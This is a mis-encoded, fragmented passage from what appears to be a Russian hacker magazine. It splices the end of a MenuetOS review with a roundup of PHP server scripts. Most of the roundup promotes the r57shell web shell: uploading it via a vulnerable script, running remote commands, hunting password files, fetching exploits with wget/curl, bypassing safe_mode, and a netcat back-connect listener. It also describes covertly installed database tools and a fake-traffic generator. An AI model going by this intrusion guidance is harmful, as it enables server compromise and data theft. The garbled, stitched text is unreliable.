ôàéëå, êîòîðûé ëåæèò â àðõèâå ñ çàãðóç÷èêîì.
Äëÿ èñïîëüçîâàíèÿ MenuetOS âìåñòå ñ Windows
NT/XP/2000 íåîáõîäèì äðóãîé çàãðóç÷èê. Äëÿ åãî èñïîëü-
çîâàíèÿ íàäî áóäåò ñêîïèðîâàòü äâà ôàéëà â êîðíåâîé êà-
òàëîã äèñêà C è èçìåíèòü ôàéë boot.ini. Ïîñëå ýòîãî çàã-
ðóç÷èê NTLOADER ñàì íàó÷èòñÿ çàïóñêàòü MenuetOS. Îáà
çàãðóç÷èêà, à òàêæå ïðèìåðû êîíôèãóðàöèîííûõ ôàéëîâ
äëÿ Windows 9x, ëåæàò íà íàøåì äèñêå.



[X
À

Ê
Å

Ð
0

9
 [

8
1

] 
0

5
 >

P
C

_
Z

O
N

E
0

3
1

]

áîòàë, íåîáõîäèìû äðàéâåðû. Ðàçðàáîò÷èêè îáû÷íî âûïóñêàþò èõ òîëüêî
äëÿ Windows, à ïðî îñòàëüíûå ïëàòôîðìû (äàæå äîâîëüíî ïîïóëÿðíûå) çà-
áûâàþò. È óæ åñëè äàæå ïîä Linux áûâàåò ïðîáëåìîé íàéòè íóæíûé äðàé-
âåð, òî ÷òî óæ ãîâîðèòü ïðî MenuetOS. Äëÿ òîãî ÷òîáû èñïîëüçîâàòü ñîåäè-
íåíèå ñ ïðîâàéäåðîì ÷åðåç ìîäåì, íàäî áóäåò ïðåäâàðèòåëüíî íàñòðîèòü
ïðîãðàììó PPP. Äåëàåòñÿ ýòî äîâîëüíî íåîáû÷íûì îáðàçîì � ïóòåì èç-
ìåíåíèÿ ïàðàìåòðîâ (íîìåðà òåëåôîíà, èìåíè ïîëüçîâàòåëÿ è ïàðîëÿ)
ïðÿìî â èñõîäíîì òåêñòå ïðîãðàììû, è ïîñëåäóþùåé åå ïåðåñáîðêîé ñ ïî-
ìîùüþ FASM. Ýòî ìîæåò âûçâàòü óäèâëåíèå: ê ÷åìó òàêèå òðóäíîñòè? Íà
ñàìîì äåëå, âñå äîâîëüíî ïðîñòî, è òàêîé ñïîñîá èçìåíåíèÿ íàñòðîåê íàã-
ëÿäíî äåìîíñòðèðóåò íà ïðàêòèêå âîçìîæíîñòü ðàçðàáàòûâàòü è èçìåíÿòü
ñóùåñòâóþùåå ïðîãðàììíîå îáåñïå÷åíèå íåïîñðåäñòâåííî èç MenuetOS.
Âñå, ÷òî êàñàåòñÿ ïðåäâàðèòåëüíîé íàñòðîéêè è èñïîëüçîâàíèÿ PPP, ïîä-

ðîáíî ðàñïèñàíî â ôàéëå ppp.txt. Íàñòðîéêà ñîåäèíåíèÿ ñ ëî-
êàëüíîé ñåòüþ ñ ïîìîùüþ ïðîãðàììû stackcfg îïèñàíà â ôàé-
ëå stack.txt. Êðîìå òîãî, â ýòîì äîâîëüíî îáúåìíîì äîêóìåíòå
ïîäðîáíî îïèñûâàþòñÿ âñå âîçìîæíîñòè è îãðàíè÷åíèÿ ñòåêà
TCP/IP â MenuetOS.
Ïîðà óçíàòü, êàê â MenuetOS îáñòîèò äåëî ñ èãðàìè. Ñ ýòèì ó
MenuetOS âñå â ïîðÿäêå. Åñòü ïàñüÿíñ FreeCell (àíàëîã êîòî-
ðîãî â Windows íàçûâàåòñÿ «Ñîëèòåð»), åñòü Òåòðèñ, åñòü äà-
æå òðåõìåðíàÿ èãðà ñ êîðèäîðàìè â ñòèëå Doom, ïðàâäà áåç
ìîíñòðîâ è ñ âåñüìà ñâîåîáðàçíûì óïðàâëåíèåì ìûøüþ. Ñó-
ùåñòâóåò ïðîåêò ïîðòèðîâàíèÿ Quake â MenuetOS. Áóäåò
î÷åíü ëþáîïûòíî âçãëÿíóòü, åñëè ýòî óäàñòñÿ ñäåëàòü.

[èòîãè] Ñðåäè íåäîñòàòêîâ MenuetOS ìîæíî îòìåòèòü
íåêîòîðóþ ïðèìèòèâíîñòü ïîñòàâëÿåìîãî ñ íåé ñîôòà.
Èíòåðôåéñ ìíîãèõ ïðèëîæåíèé íåëüçÿ íàçâàòü îáðàçöîì
êðàñîòû è óäîáñòâà. Ôóíêöèîíàëüíîñòü áîëüøèíñòâà îã-
ðàíè÷åíà ëèøü ñàìûìè ìèíèìàëüíûìè âîçìîæíîñòÿìè.
Íî íèêòî íå ìåøàåò íàïèñàòü ñâîè ïðîãðàììû ïîä
MenuetOS, èçó÷èâ àññåìáëåð, API è ôîðìàò èñïîëíÿåìûõ
ôàéëîâ. Ê ñîæàëåíèþ, MenuetOS íå óìååò àâòîìàòè÷åñ-
êè îïðåäåëÿòü ïàðàìåòðû ïîäêëþ÷åííîãî îáîðóäîâàíèÿ.
Ïîýòîìó åãî ïðèõîäèòñÿ íàñòðàèâàòü âðó÷íóþ. Íåïîäãî-
òîâëåííîìó ïîëüçîâàòåëþ íàâåðíÿêà áóäåò äîâîëüíî

òðóäíî ñîîáðàçèòü, êàêèå çíà÷åíèÿ òðåáóåòñÿ óñòàíîâèòü â ïðîãðàì-
ìå Setup äëÿ ïðàâèëüíîé ðàáîòû ñ æåëåçîì.
Íåñìîòðÿ íà âñå íåäîñòàòêè, MenuetOS îñòàâëÿåò áëàãîïðèÿòíîå âïå-
÷àòëåíèå. Â îòëè÷èå îò ìíîãèõ ñâîèõ ñîáðàòüåâ ñðåäè íîâûõ àëüòåð-
íàòèâíûõ îïåðàöèîííûõ ñèñòåì, îíà íå ïàäàåò îò êàæäîãî ÷èõà. Âèä-
íî, ÷òî ïðè íàïèñàíèè êîäà ðàçðàáîò÷èê óäåëÿë âíèìàíèå ñòàáèëü-
íîñòè. Çà âñå âðåìÿ ìîåé ðàáîòû ñ MenuetOS îíà íè ðàçó íå çàâèñëà.
Ìîæíî îòêðûòü ìíîæåñòâî ïðèëîæåíèé îäíîâðåìåííî, è íèêàêèõ ãëþ-
êîâ èëè ïðîáëåì ñ áûñòðîäåéñòâèåì íå âîçíèêàåò. ß äóìàþ, ïîñòå-
ïåííî, â ïðîöåññå ðàçðàáîòêè, ýòà îïåðàöèîííàÿ ñèñòåìà îáðàñòåò è
ìíîæåñòâîì êà÷åñòâåííîãî ñîôòà, è äðàéâåðàìè äëÿ ðàñïðîñòðàíåí-
íûõ óñòðîéñòâ, è, ðàçóìååòñÿ, ìíîæåñòâîì ïîëüçîâàòåëåé, îäíèì èç
êîòîðûõ ìîæåøü ñòàòü è òû

FASM, TinyPad è ôàéëîâûé ìåíåäæåð XTree



íåíû íà ýòîé ñèñòåìå. Èç-çà ðàçëè÷èé â íàñòðîéêàõ áåçîïàñíîñòè, ïðàâ
âåá-ñåðâåðà è ïðî÷èõ ïàðàìåòðîâ ñïèñîê äåéñòâèé íà îäíîì ñåðâåðå
ñèëüíî îòëè÷àåòñÿ îò äðóãîãî. Ê ñ÷àñòüþ, r57shell àâòîìàòè÷åñêè îïðå-
äåëÿåò, êàêèå äåéñòâèÿ âûïîëíèòü âîçìîæíî, à êàêèå � íåò. 
Ñàìàÿ ãëàâíàÿ çàäà÷à âåá-shell'à � óäàëåííîå âûïîëíåíèå êîìàíä. Ïî-
ýòîìó â áðàóçåðå òû ïåðâûì äåëîì óâèäèøü ïîëÿ äëÿ ââîäà êîìàíäû è
ñìåíû ðàáî÷åé äèðåêòîðèè, à òàêæå áîëüøîå òåêñòîâîå ïîëå, â êîòîðîì
áóäåò âûâîäèòüñÿ ðåçóëüòàò. ×òîáû îáëåã÷èòü ñåáå ðóòèííóþ ðàáîòó,
ðàçðàáîò÷èêè ïðåäëàãàþò èñïîëüçîâàòü ñïåöèàëüíûå àëèàñû (ñîêðàùå-
íèÿ). Ïî óìîë÷àíèþ â áàçó ïðîãðàììû âêëþ÷åíî îêîëî 25 àëèàñîâ, ïî-
çâîëÿþùèõ áûñòðî ïðîâîäèòü ïîèñê ôàéëîâ, ðàçðåøåííûõ äëÿ çàïèñè,
ôàéëîâ ñ ïàðîëÿìè è èñòîðèþ êîìàíä .bash. Ê ïðèìåðó, åñëè âûáðàòü â
ìåíþ find all writable files,  r57shell àâòîìàòè÷åñêè âûïîëíèò êîìàíäó find
/ -type f -perm -2 -ls. Ñêðèïò èñïîëüçóåò ëþáóþ âîçìîæíîñòü äëÿ âûïîë-
íåíèÿ êîìàíäû, ïåðåáèðàÿ âàðèàíòû èñïîëüçîâàíèÿ èíñòðóêöèé exec,
shell_exec, system, passthru è popen, òî åñòü â îòëè÷èå îò ìíîãèõ àíàëî-
ãîâ ÿâëÿåòñÿ óíèâåðñàëüíûì.
Áëàãîäàðÿ r57shell, òû ïîëó÷àåøü âîçìîæíîñòü ëåãêî çàêà÷èâàòü íà ñåð-
âåð âñå íåîáõîäèìûå ôàéëû, ïðè÷åì êàê ñ ëîêàëüíîãî êîìïüþòåðà, òàê
è ñ óäàëåííîãî ñåðâåðà, èñïîëüçóÿ wget, fetch, lynx, links, get èëè curl. Òû
ìîæåøü çàêà÷àòü âñå íåîáõîäèìûå óòèëèòû (ñêàíåðû, ýêñïëîéòû, ïðîê-
ñè áåç ëîãîâ, äðóãèå ñêðèïòû è ò.ä.), îòêîíôèãóðèðîâàòü èõ è, åñëè ïî-
çâîëÿþò ïðàâà, äàæå çàïóñòèòü.
Íåñìîòðÿ íå íåáîëüøîé ðàçìåð, ñêðèïò èìååò â ñâîåì àðñåíàëå åùå íå-
ìàëî ïîëåçíûõ ôóíêöèé. Ñêðèïò ñîáèðàåò âñþ íåîáõîäèìóþ èíôîðìà-
öèþ îá óäàëåííîì ñåðâåðå (âåðñèÿ îñè, phpinfo(), php è âåá-ñåðâåðà è
ò.ä.). Â êîä r57shell âñòðîåíî íåñêîëüêî ïðèåìîâ äëÿ îáõîäà îãðàíè÷å-
íèé safe_mode, ïðåïÿòñòâóþùèõ óäàëåííîìó âûïîëíåíèþ ìíîãèõ çàäà÷.
Â êîíöå êîíöîâ, â íåãî âñòðîåíû êîìïîíåíòû äëÿ ðàáîòû ñ áàçàìè äàí-
íûõ (MySQL, MSSQL, PostgreSQL è Oracle): ñíÿòèå äàìïà, ïðîèçâîëüíûé
çàïðîñ, ïðîñìîòð ñòðóêòóðû òàáëèö. Âñå ýòî óäîâîëüñòâèå ðàáîòàåò êàê
ïîä Windows, òàê è ïîä *nix-based ÎÑ, ïðè÷åì r57shell íåîáÿçàòåëüíî
þçàòü ÷åðåç áðàóçåð: ê òâîèì óñëóãàì ôóíêöèè back-connect è bind-shell.
Ïîäðîáíåå î íèõ ÷èòàé âî âðåçêå. 
Àëüòåðíàòèâà: r57pws 1.0 (perl, http://rst.void.ru/download/r57pws.txt).

[r57shell v1.23]
Ïëàòôîðìà: PHP

Ðàçìåð: 85 Êá

Ñàéò: www.rst.void.ru

Àäìèíèòü óäàëåííûé êîìïüþòåð ìîæíî ïî-ðàç-
íîìó. Âèçóàëüíîå àäìèíèñòðèðîâàíèå ñ ïîìî-
ùüþ ñèñòåì, òèïà Remote Administrator
(www.radmin.com) èëè SSH-äîñòóïà � ýòî,
åñòåñòâåííî, íàèëó÷øèå âàðèàíòû. Íî ÷òî äå-
ëàòü, åñëè òàêîé ðîñêîøè íåò? Äîïóñòèì, òû
íàøåë óÿçâèìûé ñêðèïò, è åäèíñòâåííîå, ÷òî
òû ìîæåøü ñäåëàòü � çàëèòü, íà óäàëåííûé
õîñò, ôàéë. Èäåàëüíûé ðåöåïò â ýòîì ñëó÷àå:
çàêà÷àòü òóäà âåá-shell, òî åñòü ïðèìèòèâíóþ
âåá-îáîëî÷êó, ñ ïîìîùüþ êîòîðîé ìîæíî âû-
ïîëíÿòü êîìàíäû è ïðîñìàòðèâàòü ðåçóëüòàò
èõ âûïîëíåíèÿ ïðÿìî â îêíå áðàóçåðà. Ñóùå-
ñòâóåò äîâîëüíî ìíîãî ðåàëèçàöèé ýòîé èäåè,
íî îñîáîãî óâàæåíèÿ çàñëóæèâàåò PHP-ñêðèïò
r57shell îò èçâåñòíûõ security-ãðóïï RST/GHC.
Ðàáî÷àÿ ëîøàäêà, â ýòîì ñêðèïòå âñå ïðîäóìà-
íî äî ìåëî÷åé. Òû êîãäà-íèáóäü âèäåë âåá-
øåëë ñ âîçìîæíîñòüþ àâòîðèçàöèè? ß íå âè-
äåë. Õîòÿ ýòà áàíàëüíàÿ âåùü, áåçóñëîâíî, ìî-
æåò ïðèãîäèòüñÿ, ÷òîáû îáåçîïàñèòü òåáÿ îò
èñïîëüçîâàíèÿ shell'à ÷óæèìè ëèöàìè. Ðåêî-
ìåíäóþ ïåðâûì äåëîì îòêðûòü èñõîäíèêè
ñêðèïòà è íàéòè â íåì ðàçäåë, îòâå÷àþùèé çà
àâòîðèçàöèþ. Âñå, ÷òî íàäî ñäåëàòü, � óñòàíî-
âèòü çíà÷åíèå êîíñòàíòû $auth â 1, à ñ ïîìî-
ùüþ êîíñòàíò $name è $pass óêàçàòü ñâîå èìÿ
è ïàðîëü. Ïîñëå ýòîãî ðàçäåë áóäåò èìåòü ïðè-
ìåðíî ñëåäóþùåå ñîäåðæàíèå:

$auth = 1; //àâòîðèçàöèÿ âêëþ÷åíà
$name='step'; // ëîãèí ïîëüçîâàòåëÿ
$pass='megarulez'; // ïàðîëü ïîëüçîâàòåëÿ

Ïîñëå àâòîðèçàöèè âñå âîçìîæíîñòè ñêðèïòà
� ê òâîèì óñëóãàì. Âåðíåå ñêàçàòü, âñå âîç-
ìîæíûå äåéñòâèÿ, êîòîðûå ìîãóò áûòü âûïîë-
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ÍÅÑÊÎËÜÊÎ ËÅÒ ÍÀÇÀÄ, ÊÎÃÄÀ ÂÅÁ-ÏÐÎÃÐÀÌ-
ÌÈÐÎÂÀÍÈÅ ÅÙÅ ÒÎËÜÊÎ ÇÀÐÎÆÄÀËÎÑÜ,
ÁÎËÜØÈÍÑÒÂÎ ÂÅÁ-ÑÖÅÍÀÐÈÅÂ ÏÐÅÄÑÒÀÂËß-
ËÈ ÑÎÁÎÉ ÏÐÈÌÈÒÈÂÍÛÅ ÃÎÑÒÅÂÛÅ ÊÍÈÃÈ È
Ñ×ÅÒ×ÈÊÈ ÏÎÑÅÙÅÍÈÉ. ÑÅÉ×ÀÑ ÆÅ, ÍÀÐßÄÓ
Ñ ÏÐÎÄÂÈÍÓÒÛÌÈ ÔÎÐÓÌÀÌÈ È CMS-ÑÈÑÒÅ-
ÌÀÌÈ, ÐÀÑÏÐÎÑÒÐÀÍßÞÒÑß ÐÅÄÊÈÅ, ÍÎ
×ÐÅÇÂÛ×ÀÉÍÎ ÏÎËÅÇÍÛÅ ÑÊÐÈÏÒÛ, ÊÎÒÎ-
ÐÛÅ ÌÎÃÓÒ ÇÀÌÅÍÈÒÜ ÍÅÌÀËÎ ÎÁÛ×ÍÛÕ
ÏÐÎÃÐÀÌÌ | Ñòåïàí Èëüèí aka Step (step@real.xakep.ru)
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[PHP FXP 3.0]
Ïëàòôîðìà: PHP

Ðàçìåð: 11 Êá

Ñàéò: http://fxp.harrym.nu/phpfxp

Ñ ïîÿâëåíèåì âûñîêîñîðòíûõ
èíåò-êàíàëîâ âñå ìåíüøå ñòàëà
îùóùàòüñÿ íåîáõîäèìîñòü ëî-
êàëüíî õðàíèòü êàêèå-òî ôàéëû. Ê
ìîìåíòó ñëåäóþùåé óñòàíîâêè
ïðèâû÷íîé ïðîãðàììû â èíåòå íà-
âåðíÿêà áóäåò âûëîæåí åå ñâåæèé
ðåëèç. Google.com èíäåêñèðóåò
åæåäíåâíî ìèëëèîíû äîêóìåíòîâ,
èç êîòîðûõ íàéòè íóæíûé íàìíîãî
ëåã÷å, ÷åì ïåðåáèðàòü íà âèíòå
êîãäà-òî ñîõðàíåííûå âåá-ñòðà-
íè÷êè. Ñïîðó íåò � óäîáíî, íî
åñòü è ïðîáëåìû.
Ìíå, íàïðèìåð, íå ðàç ïðèõîäè-
ëîñü êîïèðîâàòü áîëüøèå îáúåìû
ñ îäíîãî FTP-ñåðâåðà íà äðóãîé.
Êàæäûé ðåøàåò ýòó çàäà÷ó ïî-ñâî-
åìó. Êòî-òî áóäåò äåéñòâîâàòü íà-
ïðîëîì: âûêà÷àåò ôàéëû ñíà÷àëà
íà ñâîé êîìïüþòåð, à ïîòîì çà-
ëüåò â íóæíîå ìåñòî. Äðóãîé, íå
ïîíàñëûøêå çíàêîìûé ñ òåõíîëî-
ãèåé FxP, âîñïîëüçóåòñÿ ïðîäâè-
íóòûì FTP-êëèåíòîì. Íî åñòü åùå
îäèí ñïîñîá � èñïîëüçîâàòü ñïå-
öèàëüíî çàòî÷åííûé ïîä ýòó çàäà-
÷ó ñêðèïò. Ïðèçíàòüñÿ, ìíå ïðèø-
ëîñü ïîòðàòèòü íåìàëî âðåìåíè, ïðåæäå ÷åì ÿ íàøåë ÷òî-òî ðàáîòîñïî-
ñîáíîå: áîëüøèíñòâî ñêðèïòîâ ïî ðàçíûì ïðè÷èíàì îòêàçûâàëèñü êîð-
ðåêòíî ðàáîòàòü, íåñìîòðÿ íà ïðåäåëüíóþ ïðîñòîòó çàäàíèÿ. Ñ ñàìîé
ëó÷øåé ñòîðîíû ïîêàçàë ñåáÿ ñêðèïò PHP FXP 3.0. Äëÿ åãî óñòàíîâêè
ìíîãîãî íå òðåáóåòñÿ: íóæíî ðàñïàêîâàòü àðõèâ ñ äèñòðèáóòèâîì è ïîä-
ïðàâèòü ïåðåìåííûå $url è $path â ôàéëå config.inc.php. Ïîñëå ýòîãî âñå
ôàéëû è äèðåêòîðèè íåîáõîäèìî çàëèòü íà ñåðâåð, à ïîñëå ïåðåäà÷è
âûñòàâèòü ïðàâà (chmod) 777 íà äèðåêòîðèþ Store è âñå ôàéëû, íàõîäÿ-
ùèåñÿ â ïàïêå data. Òåïåðü ìîæíî îòêðûâàòü ôàéë index.php â áðàóçå-

[RST MySQL v2.0]
Ïëàòôîðìà: PHP

Ðàçìåð: 79 Êá

Ñàéò: www.rst.void.ru

Êàæäûé çíàåò, ÷òî òàáëèöû MySQL ìîãóò áûòü
ëåãêî îòðåäàêòèðîâàíû íà ñåðâåðå ñ ïîìîùüþ
ìîùíîãî ñêðèïòà phpMyAdmin (www.phpmyad-
min.net). Ðàáîòà ñ áàçàìè äàííûõ îñóùåñòâëÿ-
åòñÿ ïðÿìî ÷åðåç îêíî áðàóçåðà, îò òåáÿ ëèøü
òðåáóåòñÿ çàëèòü àðõèâ ñ äèñòðèáóòèâîì ñêðèï-

òà íà ñåðâåð. Íî èìåííî çäåñü è âîçíèêàþò ïðîáëåìû. Âî-ïåðâûõ, äè-
ñòðèáóòèâ phpMyAdmin çàíèìàåò ïî÷òè 3 Ìá, ñîîòâåòñòâåííî, ðàñïàêî-
âàííûé � åùå áîëüøå. Âî-âòîðûõ, ñèëüíî íàïðÿãàåò îãðîìíîå êîëè÷å-
ñòâî PHP-ôàéëîâ, èç êîòîðûõ êîìïîíóåòñÿ ñêðèïò: èìè êðàéíå íåóäîá-
íî îïåðèðîâàòü è åùå ñëîæíåå óñòàíîâèòü ñêðûòíî íà ñåðâåð. Íî ýòî
åùå íå âñå. Íåäîñòàòîê phpMyAdmin çàêëþ÷àåòñÿ åùå è â òîì, ÷òî ïà-
ðîëü ê ÁÄ õðàíèòñÿ â îòêðûòîì âèäå ïðÿìî â òåêñòîâûõ êîíôèãàõ ñêðèï-
òà. Ýòî ÿâíî íå äåëàåò åãî ïî÷åòíûì, è âîîáùå ãîâîðÿ, ÿâëÿåòñÿ ñåðüåç-
íîé äûðîé â áåçîïàñíîñòè.
Äóìàþ, ÿ ñìîã óáåäèòü òåáÿ â íåîáõîäèìîñòè àëüòåðíàòèâû :). Äîñòîéíî
óêðåïèòüñÿ â ýòîé äîëæíîñòè âñå øàíñû èìååò ñêðèïò RST MySQL 2.0.
Íàøåë ÿ åãî íåäàâíî, íî ñðàçó ïîíÿë, ÷òî ýòî èìåííî òî, ÷òî íàäî. Ìè-
íèàòþðíûé ñêðèïò, êîòîðûé â àðõèâå çàíèìàåò âñåãî 17 Êá, ïî ôóíêöèî-
íàëüíîñòè íè÷óòü íå óñòóïàåò ãèãàíòñêîìó phpMyAdmin. Ñóäè ñàì: óñòà-
íîâèâ RST MySQL íà ñåðâåð, òû ñìîæåøü ïðîñìàòðèâàòü è ðåäàêòèðî-
âàòü ëþáûå áàçû, êîòîðûå äîñòóïíû äëÿ òâîåãî àêêàóíòà, èëè äàæå ñîç-
äàâàòü íîâûå, åñëè òû ÿâëÿåøüñÿ àäìèíèñòðàòîðîì. Âñå äåéñòâèÿ âû-
ïîëíÿþòñÿ âèçóàëüíî, òî åñòü íà èíòóèòèâíîì óðîâíå. Äëÿ òîãî, ÷òîáû
îòðåäàêòèðîâàòü, ïðîñìîòðåòü è ñîçäàòü íîâóþ òàáëèöó â ÁÄ, òåáå íå
íóæíî çíàòü ÿçûê SQL � âñå ýòî çà òåáÿ ñäåëàåò RST MySQL 2.0. Åñëè
æå òû õî÷åøü óêðåïèòü ñâîè ïîçèöèè â ñîñòàâëåíèè SQL-çàïðîñîâ, òî
ñêðèïò âîîáùå äëÿ òåáÿ îêàæåòñÿ áîëüøîé íàõîäêîé. Ëþáîå äåéñòâèå,
êîòîðîå îí ñîâåðøàåò, ñîïðîâîæäàåòñÿ òåêñòîì SQL-çàïðîñà, ïîýòîìó
îí ëåãêî óñâàèâàåòñÿ. Ïîíàáëþäàâ, ìîæåøü ïîïðîáîâàòü ñîñòàâèòü çà-
ïðîñû âðó÷íóþ � RST MySQL c óäîâîëüñòâèåì èõ îáðàáîòàåò. Ìîæíî
ðåäàêòèðîâàòü àáñîëþòíî âñå: ëþáûå ïîëÿ (íàçâàíèÿ ñòîëáöîâ) òàáëè-
öû, ñîäåðæàíèå, ñâÿçè è ò.ï. Îòëè÷íîé ôèøêîé ÿâëÿåòñÿ âîçìîæíîñòü
ñîçäàíèÿ äàìïà (êîïèè) ÁÄ èëè îòäåëüíûõ òàáëèö, êîòîðûå òû ìîæåøü
ïðîñìîòðåòü â áðàóçåðå èëè îòïðàâèòü ïî HTTP. Âñå ýòè ôóíêöèè ëåãêî
ïîìåñòèëèñü â îäèí íåáîëüøîé ôàéë, êîòîðûé íå íóæíî êîíôèãóðèðî-
âàòü è ëåãêî çàëèòü íà ñåðâåð.
Àëüòåðíàòèâà: WizMySQLAdmin (PHP, wiz.homelinux.net/php.php), perlmy-
admin (Perl, www.perlmyadmin.de).

BACK-CCONNECT VVS. BBIND-SSHELL
Î÷åíü ÷àñòî äëÿ íîðìàëüíîé ðàáîòû ñ óäàëåííûì ñåðâå-
ðîì ÷åðåç telnet/SSH ìåøàåò ôàéðâîë, êîòîðûé áëîêèðóåò
îáðàùåíèÿ ê ýòèì ïîðòàì èçâíå. Â ýòîì ñëó÷àå ìîãóò ïî-
ìî÷ü äâà ïîäõîäà. Îáà âêëþ÷åíû â ñîñòàâ r57shell.
Bind-shell. Ñêðèïò îòêðûâàåò íà óäàëåííîì õîñòå ñîêåò íà
çàäàííîì ïîðòó, êîòîðûé íå ôèëüòðóåòñÿ ôàéðâîëîì (åñëè
òàêîé ïîðò âîîáùå åñòü), è ïðèâÿçûâàåò ê íåìó ñòàíäàðò-
íûé bash-èíòåðïðèòàòîð /bin/bash. Òåáå îñòàåòñÿ ñ ïîìî-
ùüþ telnet'à ïîäêëþ÷èòüñÿ ê íåìó è ðàäîâàòüñÿ æèçíè.
Back-connect. Ýòîò ñïîñîá ïîäõîäèò, êîãäà ïðàâèëà ôàéð-
âîëà íà óäàëåííîì õîñòå ôèëüòðóþò ïðàêòè÷åñêè âñå ïîä-
êëþ÷åíèÿ, è âîçìîæíîñòè çàáèíäèòü ïîðò íåò. Èñïîëüçîâà-
íèå back-connect ïîäðàçóìåâàåò, ÷òî èíèöèèðîâàòü ïîä-
êëþ÷åíèå áóäåøü íå òû, à ñàì ñåðâåð, êîòîðûé ïîïðîáóåò
ïîäêëþ÷èòüñÿ ê óêàçàííîìó åìó ïîðòó çàäàííîãî IP-àäðå-
ñà. Íà ïðèíèìàþùåé ñòîðîíå ýòî ñîåäèíåíèå íóæíî ïðè-
íÿòü ñ ïîìîùüþ ÷óäî-ïðîãðàììû netcat (netcat.sourcefor-
ge.net), ïîñëå ÷åãî ìîæíî îòäàâàòü êîìàíäû, êàê  íà îáû÷-
íîì øåëëå. Åñëè back-connect íàñòðîåí íà 40000, òî çàïó-
ñêàòü netcat íóæíî ïðèìåðíî òàê:

d:\xakep>nc.exe -l -n -v -p 40000

listening on [any] 40000 ...

connect to [xxx.xxx.xxx.xx] from (UNKNOWN) [xx.xx.xxx.xx]
54247
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Íå ñòîèò çàáûâàòü, ÷òî âñå
äåéñòâèÿ âçëîìùèêîâ
ïðîòèâîçàêîííû è ýòà
ñòàòüÿ ïðåäíàçíà÷åíà
ëèøü äëÿ îçíàêîìëåíèÿ.
Çà ïðèìåíåíèå ìàòåðèàëà
â íåçàêîííûõ öåëÿõ àâòîð
è ðåäàêöèÿ îòâåòñòâåííî-
ñòè íå íåñóò.

Ëó÷øèé ñïîñîá îïåðèðî-
âàòü ôàéëàìè íà óäàëåí-
íîì ñåðâåðå � èñïîëüçî-
âàòü ñêðèïò phpRemoteView
(www.php.spb.ru). Óâåðÿþ
òåáÿ, òû íå ðàçî÷àðóåøüñÿ.

www.hotscripts.com �
îãðîìíàÿ ïîäáîðêà ñêðèï-
òîâ íà PHP/PERL/ASP è ò.ä.
www.x-forum.info � îòëè÷-
íûé ðàçäåë «âåá-ñêðèï-
òû», äëÿ àêòèâíûõ ó÷àñò-
íèêîâ � äîñòóï ê îãðîì-
íîé ïîäáîðêå íóëåíûõ
ñêðèïòîâ.
http://faqs.org.ru/progr/web_
lang/perl_web2.htm � ðó-
êîâîäñòâî íà ñëó÷àé, åñëè
êàêîé-ëèáî èç Perl-ñêðèï-
òîâ íå çàðàáîòàåò.

äæåíòëüìåíñêèé íàáîð ðàçðàáîò÷èêà (Äåíâåð) � îòëè÷íàÿ âîçìîæíîñòü
ïðîâåðèòü ñêðèïòû ïîä Windows

àâòîðèçàöèÿ íà âåá-
øåëëå: ÷óæîé íå
ïðîéäåò!

âûïîëíÿåì êîìàíäó dir íà Windows-ñåðâåðå



ðå è ëþáîâàòüñÿ� íå-
êàçèñòûì èíòåðôåé-
ñîì PHP FXP 3.0. ×òî
îí óìååò? Âñåãî ëèøü
ïåðåêà÷èâàòü ôàéëû
ìåæäó FTP, HTTP, îä-
íàêî áîëüøåãî îò íåãî
è íå òðåáóþò. Êîãäà ÿ
ñêà÷èâàë ýòîò ñêðèïò,
ÿ äóìàë, ÷òî îí, êàê è
âñå ìîäíûå FTP-êëè-
åíòû, èñïîëüçóåò òåõ-
íîëîãèþ FXP, àí íåò.
Îêàçàëîñü âñå â òî÷-
íîñòè äî íàîáîðîò.
Ñêðèïòó àáñîëþòíî ïî áàðàáàíó, ïîääåðæèâàþò ëè FTP-ñåðâåðû ïåðå-
äà÷ó ÷åðåç FXP � îí èñïîëüçóåò äðóãîé ïðèìèòèâíûé, íî âïîëíå ñî-
ñòîÿòåëüíûé ïîäõîä. Ôàéë ñ óäàëåííîãî ñåðâåðà ñíà÷àëà ñêà÷èâàåòñÿ
âî âðåìåííóþ ïàïêó, ïîñëå ÷åãî ïåðåäàåòñÿ íà ñåðâåð-íàçíà÷åíèå. Òà-
êîé ïîäõîä ïîçâîëÿåò ïåðåäàâàòü ôàéëû íå òîëüêî ñ FTP íà FTP, íî è,
íàïðèìåð, ñ HTTP íà FTP è ò.ä. Äðóãèå àíàëîãè÷íûå ñêðèïòû èìåëè
îäèí ñåðüåçíûé íåäîñòàòîê � îíè óìåëè ïåðåäàâàòü òîëüêî îäèíî÷íûå
ôàéëû. PHP FXP óìååò ðåêóðñèâíî îáõîäèòü êàòàëîãè è ïåðåäàâàòü öå-
ëûå äèðåêòîðèè ñ ñîõðàíåíèåì èåðàðõèè.
Ñêàçêà, íî íå ñîâñåì. Äëÿ ðàáîòû óòèëèòû íåîáõîäèìî èìåòü çíà÷èòåëü-
íîå êîëè÷åñòâî ñâîáîäíîãî ïðîñòðàíñòâà íà ñåðâåðå: ïî êðàéíåé ìåðå,
íå ìåíüøå îáúåìà ôàéëîâ, êîòîðûå òû ñîáèðàåøüñÿ ïåðåäàâàòü. Äà è
òðàôèêà áóäåò ðàñõîäîâàòüñÿ íå ìåíüøå. Áîëåå òîãî, ñêðèïò ðàáîòàåò
òîëüêî â òîì ñëó÷àå, åñëè äèðåêòèâà PHP safe_mode îòêëþ÷åíà � îáÿ-
çàòåëüíî âûÿñíè ýòî ó ïðîâàéäåðà, ïðåæäå ÷åì íà÷èíàòü ýêñïåðèìåíòû
Àëüòåðíàòèâà: X-Uploader (Perl, www.xakep.ru/post/12019).

[FakeZilla Advanced Generator.v2.3]
Ïëàòôîðìà: PHP

Ðàçìåð: 196 Êá

Ñàéò: www.fakezilla.com

Óâåëè÷èòü ïîñåùàåìîñòü ñàéòà � ìå÷òà ëþáîãî âåá-ìàñòåðà. Â Ñåòè
íåêîòîðûå êîíòîðû äåëàþò îãðîìíûå äåíüãè íà òàê íàçûâàåìîì SEO
(Search Engines Optimization � îïòèìèçàöèÿ äëÿ ïîèñêîâûõ ìàøèí).
Ðàññìàòðèâàòü òåìó SEO ìû ñåãîäíÿ íå áóäåì, íî çàòî ðàçáåðåìñÿ,
êàê âñåãî çà ïàðó ìèíóò ìîæíî îáåñïå÷èòü íàïëûâ óíèêàëüíûõ ïîñå-
ùåíèé (õîñòîâ) òâîåãî ñàéòà. Åñòåñòâåííî, ýòî áóäóò íå íàñòîÿùèå ïî-
ñåòèòåëè, à âñåãî ëèøü òðàôèê, ýìóëèðîâàííûé ñ ïîìîùüþ ñïåöèàëü-
